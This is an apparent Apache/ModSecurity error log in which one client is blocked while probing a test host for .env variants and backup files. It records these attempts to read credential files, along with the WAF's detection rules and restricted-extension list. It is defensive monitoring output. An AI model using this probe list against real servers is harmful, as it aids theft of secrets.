[Sat Nov 29 02:42:31.085573 2025] [:error] [pid 396954] [client 195.178.110.155:53226] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.secrets&quot;] [unique_id &quot;aSpPh5N6k15eICFuqzfsGAAAAAQ&quot;]
[Sat Nov 29 02:42:40.562381 2025] [:error] [pid 395885] [client 195.178.110.155:46298] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.private&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.private&quot;] [unique_id &quot;aSpPkCl2_ayZcB2mSooNfQAAAAk&quot;]
[Sat Nov 29 02:42:40.562736 2025] [:error] [pid 395885] [client 195.178.110.155:46298] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.private&quot;] [unique_id &quot;aSpPkCl2_ayZcB2mSooNfQAAAAk&quot;]
[Sat Nov 29 02:42:40.562998 2025] [:error] [pid 395885] [client 195.178.110.155:46298] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.private&quot;] [unique_id &quot;aSpPkCl2_ayZcB2mSooNfQAAAAk&quot;]
[Sat Nov 29 02:42:40.625113 2025] [:error] [pid 395885] [client 195.178.110.155:46298] [client 195.178.110.155] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aSpPkCl2_ayZcB2mSooNfgAAAAk&quot;]
[Sat Nov 29 02:42:40.625236 2025] [:error] [pid 395885] [client 195.178.110.155:46298] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aSpPkCl2_ayZcB2mSooNfgAAAAk&quot;]
[Sat Nov 29 02:42:40.625446 2025] [:error] [pid 395885] [client 195.178.110.155:46298] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aSpPkCl2_ayZcB2mSooNfgAAAAk&quot;]
[Sat Nov 29 02:42:40.625638 2025] [:error] [pid 395885] [client 195.178.110.155:46298] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aSpPkCl2_ayZcB2mSooNfgAAAAk&quot;]
[Sat Nov 29 02:42:40.660617 2025] [:error] [pid 395885] [client 195.178.110.155:46298] [client 195.178.110.155] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aSpPkCl2_ayZcB2mSooNfwAAAAk&quot;]
[Sat Nov 29 02:42:40.660760 2025] [:error] [pid 395885] [client 195.178.110.155:46298] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aSpPkCl2_ayZcB2mSooNfwAAAAk&quot;]
[Sat Nov 29 02:42:40.660980 2025] [:error] [pid 395885] [client 195.178.110.155:46298] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aSpPkCl2_ayZcB2mSooNfwAAAAk&quot;]
[Sat Nov 29 02:42:40.661186 2025] [:error] [pid 395885] [client 195.178.110.155:46298] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aSpPkCl2_ayZcB2mSooNfwAAAAk&quot;]
[Sat Nov 29 02:42:40.710263 2025] [:error] [pid 395885] [client 195.178.110.155:46298] [client 195.178.110.155] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aSpPkCl2_ayZcB2mSooNgAAAAAk&quot;]
[Sat Nov 29 02:42:40.710433 2025] [:error] [pid 395885] [client 195.178.110.155:46298] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aSpPkCl2_ayZcB2mSooNgAAAAAk&quot;]
[Sat Nov 29 02:42:40.710669 2025] [:error] [pid 395885] [client 195.178.110.155:46298] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aSpPkCl2_ayZcB2mSooNgAAAAAk&quot;]
[Sat Nov 29 02:42:40.710881 2025] [:error] [pid 395885] [client 195.178.110.155:46298] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aSpPkCl2_ayZcB2mSooNgAAAAAk&quot;]
[Sat Nov 29 02:42:41.754183 2025] [:error] [pid 395885] [client 195.178.110.155:46298] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aSpPkSl2_ayZcB2mSooNgQAAAAk&quot;]
[Sat Nov 29 02:42:41.754467 2025] [:error] [pid 395885] [client 195.178.110.155:46298] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aSpPkSl2_ayZcB2mSooNgQAAAAk&quot;]
[Sat Nov 29 02:42:41.754698 2025] [:error] [pid 395885] [client 195.178.110.155:46298] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aSpPkSl2_ayZcB2mSooNgQAAAAk&quot;]
[Sat Nov 29 02:42:46.728289 2025] [:error] [pid 395860] [client 195.178.110.155:45296] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aSpPlmGVbW32jAuRdZj-PAAAAAY&quot;]
[Sat Nov 29 02:42:46.728538 2025] [:error] [pid 395860] [client 195.178.110.155:45296] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aSpPlmGVbW32jAuRdZj-PAAAAAY&quot;]
[Sat Nov 29 02:42:46.728747 2025] [:error] [pid 395860] [client 195.178.110.155:45296] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aSpPlmGVbW32jAuRdZj-PAAAAAY&quot;]
[Sat Nov 29 02:42:46.872877 2025] [:error] [pid 395887] [client 195.178.110.155:45310] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_sample&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_sample&quot;] [unique_id &quot;aSpPljRmtvrSM4WZBRuJ-AAAAAs&quot;]
[Sat Nov 29 02:42:46.873136 2025] [:error] [pid 395887] [client 195.178.110.155:45310] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_sample&quot;] [unique_id &quot;aSpPljRmtvrSM4WZBRuJ-AAAAAs&quot;]
[Sat Nov 29 02:42:46.873323 2025] [:error] [pid 395887] [client 195.178.110.155:45310] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_sample&quot;] [unique_id &quot;aSpPljRmtvrSM4WZBRuJ-AAAAAs&quot;]
[Sat Nov 29 02:42:46.906583 2025] [:error] [pid 395887] [client 195.178.110.155:45310] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aSpPljRmtvrSM4WZBRuJ-QAAAAs&quot;]
[Sat Nov 29 02:42:46.906839 2025] [:error] [pid 395887] [client 195.178.110.155:45310] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aSpPljRmtvrSM4WZBRuJ-QAAAAs&quot;]
[Sat Nov 29 02:42:46.907032 2025] [:error] [pid 395887] [client 195.178.110.155:45310] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aSpPljRmtvrSM4WZBRuJ-QAAAAs&quot;]
[Sat Nov 29 02:42:46.985497 2025] [:error] [pid 395881] [client 195.178.110.155:45326] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.stage&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;aSpPlrVL27gtiM4DUrnKqQAAAAM&quot;]
[Sat Nov 29 02:42:46.985744 2025] [:error] [pid 395881] [client 195.178.110.155:45326] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;aSpPlrVL27gtiM4DUrnKqQAAAAM&quot;]
[Sat Nov 29 02:42:46.985919 2025] [:error] [pid 395881] [client 195.178.110.155:45326] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;aSpPlrVL27gtiM4DUrnKqQAAAAM&quot;]
